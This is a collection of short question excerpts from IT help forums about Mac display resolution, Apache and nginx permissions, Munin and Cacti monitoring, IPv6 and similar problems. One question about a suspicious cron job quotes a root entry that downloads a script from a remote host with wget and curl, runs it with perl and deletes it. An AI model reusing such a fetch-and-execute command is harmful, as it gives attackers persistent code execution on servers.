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• Is it Possible to Increase Display Resolution for OS X Maverick

  - by Michael

  The new OS X Maverick operating system has reduced maximum display resolution from 1920 x 1200 in Mountain Lion to 1680 x 1050, which is a SIZABLE reduction. The difference is obvious when viewing videos or photos. In addition, the colors are less vibrant. Does anyone know a way to change the display resolution for Maverick, thus restoring Mountain Lion resolution (1920 x 1200)...along with color vibrancy. By the way, I am using a 2012 Macbook Pro, with Matte display, which I think makes matters worse. At 1920 x 1200 my Macbook Pro was excellent...but at 1680 x 1050, it is very pedestrian.

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• Owner of uploads directory is `www-data` but this prevents FTP access via PHP scripts

  - by letseatfood

  To allow write access to Apache, I needed to chown www-data:www-data /var/www/mysite/uploads to my site's upload folder. This allows me to delete files from the folder via unlink() in a PHP script. Unfortunately, this prevents another PHP script, which uses FTP functions, from working. I think it is because the FTP user is mike and now that the uploads directory is owned by www-data, mike cannot access it. I added mike to the group www-data, but this does not fix the issue. Can somebody advise me on how to allow PHP FTP functions to work in addition to file deletion using PHP's unlink() function?

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• Can't find synergy config file on Windows

  - by Joel Avery

  New to synergy I connected everything just fine. Both my Windows 7 64bit (server) and 7 32 bit (client) are connected perfectly. However, I can't tell synergy which screen is where because I can't find this config file everyone is talking about. I looked in the root folder of the application, there is no ext/synergy.conf so I went and made one but that isn't working either. Kind of frustrating cause I think its the last step. Anyway any help is much appreciated. I have the newest version from the site but it says version unknown in the application. On Windows it has that cool drag and drop UI to place your screens where you want them but nothing is working for my mouse or keyboard.

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• Munin - apache_watch_ plugin, does not show any data in the graphs that shows activity for per vhosts

  - by ovais.tariq

  I am using Munin for monitoring my server. I installed the apache_watch_ plugin so that i could see apache related activity. The graphs for apache_accesses, apache_processes and apache_volume work fine. But the graphs for Apache Documents served, Apache Input/output (bytes), Apache Requests don't show any activity in the graph. The important thing is that these graphs that don't show anything are supposed to show the data divided per vhosts. I am on Ubuntu 10.04.1 LTS (Lucid Lynx) and the munin version is 1.4.4. One thing that I think may be the cause for issue is that I have a separate config file for every vhost, which are included in the main config. But I can't really figure out any solution. Any help will be greatly appreciated!

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• Can Windows 7, Vista, or XP notify me after 30 minutes, or at 2:30pm?

  - by Jian Lin

  Come to think about it, since Windows 3.0, Windows 95, 2000, ME, XP, Vista, and Windows 7, does any Windows have a capability of giving a "beep beep" notification to me, let's say I need to go meet somebody after 30 minutes? Or give a "beep beep" at 2:30pm? I hope to hear some sound instead of a pop up window as I may be writing something on the desk instead of looking at the computer. I usually don't want to install 3rd party app for this purpose, as you never know what the app does or how trustworthy it is if it is not a popular app (like Firefox or Safari). Does any version of Windows come with that capability? I'd imagine it is an app that takes two days to write.

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• dual/multi-boot computers and software licensing

  - by Matt

  Suppose you have a computer with two or more operating systems, and a certain piece of software whose license terms allows it to be installed on one computer, and it does a daily check with a remote server to verify that your serial is only used on the original install computer. You install this software on each of your OSes, but since its a different OS the remote server would have to determine that it is not on the same computer, and so would disable your license. So my question, when a license refers to a single computer, does a situation like this usually count as a single computer, or do the multiple OSes sort of make it multiple computers? How do you think a software vendor (specifically thinking AV companies that do this sort of serial check) would handle this situation?

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• creating decision tree based troubleshooting documentation?

  - by Joseph

  We troubleshoot a lot of server and network issues and follow a loose set of steps on what to do in different cases. With more and more people and responsibility, the need for standardization is needed so we don't miss something. I know I could accomplish what I want using flowcharts, but I'd like to do something similar to a "Choose Your Own Adventure" style. I think this is pretty much the same as what support call centers seem to do. Are there any tools to make creating such documentation easier? I'm looking for a web based approach if possible.

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• Cacti is not monitoring the correct host... How do I change SNMP target?

  - by wil

  I have been handed a Cacti server that monitors a few hosts. I noticed that three of the targets were displaying the exact same data - the cacti machine, machine a and machine b. After doing a bit of digging, I noticed that machine a and machine b had "Local Linux Machine" set under "Host Template". I have since changed the host template to "Generic SNMP-enabled Host", however, all the graphs still only display data from the local cacti machine (Updates every 5 minutes - I changed this yesterday - 12 hours). I can't think what else is wrong and was wondering if anyone knows/can recommend anything?

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• How to setup Database Permissions on SqlServer Express 2008

  - by Timo Willemsen

  I'm using a code-first approach of using the Entity Framework. When I first run the application it will try to create the database matching my MVC models. However, it doesn't have permission to create it I think. I get the following error: CREATE DATABASE permission denied in database 'master'. What user is trying to access the SqlServer and how can I add it's permissions to let it work? This is the connectionstring I'm using (which should be right...) <add name="ContextDb" connectionString="data source=.\SQLEXPRESS;Integrated Security=SSPI;initial catalog=ContextDb" providerName="System.Data.SqlClient"/> Cheers

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• Checking whether binary files are the same ?

  - by ldigas

  What would be the easiest way of veryfying whether two binary files are the same, without actually opening them, checking versions and such in different programs ... ? I primary mean files like 3d models, acad drawings, and the like, of which I have different versions, saved in different directories, and upon completing, I just want to find which are the newest, and which are different from the newest, and delete every other. So far I've thought od md5 ? Any other ideas ? This doesn't actually fit under "diff" tag so feel free to change it, if you can think of a better alternative.

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• Keyloggers and Virtualization

  - by paranoid

  Whilst pondering about security, and setting up different VM for certain online activities deemed more risky or requiring extra security (banking, or visiting untrusted websites, etc), I came to think about how such a setup (different VMs for different uses) would defend me against a keylogger. So, two questions then: 1: If a keylogger has been installed inside a VM, can it capture data outside its own VM? 2: The opposite, does a keylogger in a host capture strokes typed within a VM residing in that host? My bet would be No and Yes respectively, but I really have no idea. Anyone else does?

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• Server 2008 R2 - Cannot add HP UPD PCL 6 - Failed with error 0x000000002

  - by Rasmus

  I am having a problem with adding a print driver to one of our 2008 R2 RDS servers. On all other RDS servers in the farm there is no problem. The print server is 2008 R2. The HP Universal Print Driver PCL 6 is installed on the print server. When trying to add a printer with the driver on the failing RDS server i just get the error "Cannnot connect to the printer. Failed with errorcode 0x00000002" I have tried to add the driver to the RDS server localy but it fails with the same error. The driver has been installed before and is currently visible in the printmanagement.msc. When trying to remove the print driver i am unable to do it because it's "Currently in use" What to do? Have tried everyting - i think :-) Thanks. /Rasmus

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• Nginx Restart Issues

  - by heavymark

  All of the sudden when restarting Nginx I get the following error: Restarting nginx: [alert]: could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied) 2011/02/16 17:20:58 [warn] 23925#0: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /etc/nginx/nginx.conf:1 the configuration file /etc/nginx/nginx.conf syntax is ok 2011/02/16 17:20:58 [emerg] 23925#0: open() "/var/run/nginx.pid" failed (13: Permission denied) configuration file /etc/nginx/nginx.conf test failed On the front end part of the site loads but some files such as the CSS in particular are not loading. They exist on the server but when loading the resources directly in Chrome they say "Oops this page can't be found." I set a special group and user to run my apache files using suexec for my domain files. I think the nginx are owned by root however which I'm assuming is the problem but which nginx file ownerships would I change?

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• software to allow a friend to look on your screen

  - by acidzombie24

  I want a friend of mine to review my code. I have a mic built into my laptop but i can use another software for voice chat. So i would like to have him to either view my screen (taking control might be fine) or show me his screen so he can talk about a specific piece of code. What software is good for this? We both think about security so an MS product (netmeeting? if that still exist on normal msn live installs) or an open source would be preferred. Should be free.

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• How to rename folder? Folder in use [closed]

  - by Colonel Panic

  Possible Duplicate: Deleting folders give access denied error message on Windows 7, although I am administrator I am trying to rename a folder, but apparently it is in use. I don't think it is. I'd like to rename my folder. How can I do that? This happens regularly, and at random, particularly in my music folder. I'd like to know the cause and fix that. Rather than workaround with some special tool whenever I want to rename a file.

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• ipv6 auto configuration not working in ubuntu natty

  - by allan ruin

  In win7, my computer can automatically get a IPV6 global address and use ipv6 network, but in ubuntu natty, I can't find out how to let stateless configuration work. My network is a university campus network,so I don't need tunnels. I think if one thingg can silently and successfully complished in windows it shouldn't be impossible in linux. I did can manually edit /etc/network/interfaces and use a static ipv6 address, and I can use ipv6 this way, but I just want to use auto-configuration. I found this post: How to disable autoconfiguration on IPv6 in Linux? and try sudo sysctl -w net.ipv6.conf.all.autoconf=1 sudo sysctl -w net.ipv6.conf.all.accept_ra=1 but no luck

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• Mac OS X: Trying to install prolog using fink

  - by sixtyfootersdude

  I am trying to install prolog on Mac OS X 10.4.11. I just downloaded fink because I think that that should help me and I am trying to get either: Package swi-prolog-5.8.1-2 or Package gprolog-1.3.1-1 But I am not having any luck. Here is what I was doing: % fink install swi-prolog-5.8.1-2 Information about 1723 packages read in 0 seconds. Failed: no package found for specification 'swi-prolog-5.8.1-2'! % Question 1: Are these what I want to download? Question 2: Why isn't fink working?

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• Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

  - by sr_1436048

  I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

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• Normalize Accept-Encoding via HAProxy for optimized Squid hit rate

  - by Matt Beckman

  Our website infrastructure uses HAProxy for load balancing, a Squid cluster for caching, and application data is on an IIS cluster. We load balance HAProxy by URI to optimize the Squid hit-rate, but we know that Squid is holding different copies of each page based on the Accept-Encoding header passed to it by the browser, and so IE (gzip, deflate) will have a different copy of a cached page than Firefox (gzip,deflate) or Chrome (gzip,deflate,sdch). We want to normalize the Accept-Encoding headers and I think the best place to do so would be in HAProxy. I'd appreciate it if someone could offer some ideas on how to accomplish this without breaking support for clients without gzip or deflate support.

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• 10 gigabit or 1 gigabit switch

  - by Guntis

  We are planning to move mysql to dedicated box. At this moment we have web servers and mysql is running on each. Question is: cheaper is to buy 10G switch and put 10G network card into mysql server. Or buy normal gigabit switch and connect mysql box to switch with multiple network cables. In 1G scenario then we give each web server different mysql IP address. I don't think, that mysql box with one 1G link is enough to to satisfy multiple web box mysql traffic. At this moment we have 3 servers witch are running mysql/web. Plan is to add fourth server for mysql only. Thanks. Edit: if we buy 1G switch with mini-GBIC ports. Can we put in mini-GBIC 10G connectors and then connect mysql box to that port?

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• Under what circumstances can/will a 10BASE-T device slow down a 100BASE-T or faster network?

  - by Fred Hamilton

  Suppose I have a 10BASE-T device, but everything else on my network is 100BASE-T or faster. When I attach the 10Mbit device, one of two things could happen: It could be passed through as 10BASE-T, making whatever it's connected to slow down to 10BASE-T, or It could be converted to a higher speed. I'm looking for all the plausible examples where #1 could happen; where attaching this 10Mbit device will slow down other traffic. I sorta think it can't happen - that as soon as it comes into contact with other traffic it has to get retimed to be inserted into the higher rate traffic (so no slowdown aside from the extra bits from the connection), and that when it's not contacting other traffic, who cares if it's only 10Mbit? Basically I'd like a better understanding of any impact of inserting a slow device into a fast ethernet network.

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• windows vms unpredictibly require login

  - by marrrkus

  I have a cluster of vms on a number of cloned servers using libvirt/qemu. Occassionally the windows 7 vms randomly require a login screen, even though I've done everything I can think of and can google to turn off a login screen. I've used netplwiz to turn off requiring a password (http://pcsupport.about.com/od/windows7/ht/auto-logon-windows-7.htm) manually changed the regsistry using the instructions here: http://superuser.com/a/28654 changed requiring a password in the power saving settings in the control panel if the screen goes to sleep told the screen to never go to sleep (in the control panel) Even with all of these things, some of the vms *still* randomly require a login. I have no idea what else to try. Any ideas??

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• Volume size doesn't match Disk size after gparted expansion

  - by Cybersylum

  I just expanded a basic disk on a Windows XP VM from 15gb to 40 gb using GPARTED LiveCD (0.5.2-11). I didn't notice anything unusual during the expansion; but after I rebooted back into Windows, the disk capacity doesn't match the disk size as it should (only 1 volume on the disk). The disk shows as 40gb; but the C: volume still shows the original size. I've tried expanding the disk again with GPARTED (no change), and using VMware converter and have it adjust the size of the volume during the process (complains about a lack of space of snapshot error inside the os). The volume has 27% free space so I don't think it is a space issue. Chkdsk doesn't seem to find anything wrong either. The OS seems to run just fine, it doesn't see the additional space however. Any ideas?

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• Vim: How to create autocomplete/chooser from entries in buffer?

  - by Doug Avery

  Found out today that if you press Ctrl-Opt-Cmd-V in Textmate, it produces a cute little "chooser" dialogue in-place that allows you to page through your recent clipboard entries. It looks very similar to how CTRL-P and -N work in VIM, except it shows whole lines instead of simple word objects. It seems like this would be doable in VIM — it already has a buffer full of entries (the YankRing buffer, for example), and it already has a chooser, but I can't think of where I'd look to start putting these two together. Any ideas? (I know that YankRing already does this by opening a new window full of buffer content, but I wonder if there's a way to do it without all the window switching/closing/etc)

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• ssh-agent is broken after running Meerkat - can connect to git in terminal but not in Tower - no keychain access

  - by marblegravy

  My mac running Snow leopard 10.6.8 is having trouble handling it's ssh keys. I could previously access all my git repo's via Tower without an issue. The other day I ran Meerkat to see what it was about and it looks like it has broken the way ssh works. Terminal doesn't seem to have a problem and can still connect to Git, but it can't access the keychain. Tower doesn't seem to be able to access anything. The Tower support crew have been super helpful, but I wanted to float this here and see if anyone has any ideas on how to fix my problem. The only hints I have are: $ which ssh returns: /usr/bin/ssh and echo $SSH_AUTH_SOCK returns: /tmp/ssh-nBhRYVEg8t/agent.199 (This one seems to be wrong as I think it's supposed to point to a Listener, but no idea how to fix it) additional: Keychain first-aid finds no problems. The problem seems to be that ssh-agent is not being run properly... but that's just a guess.

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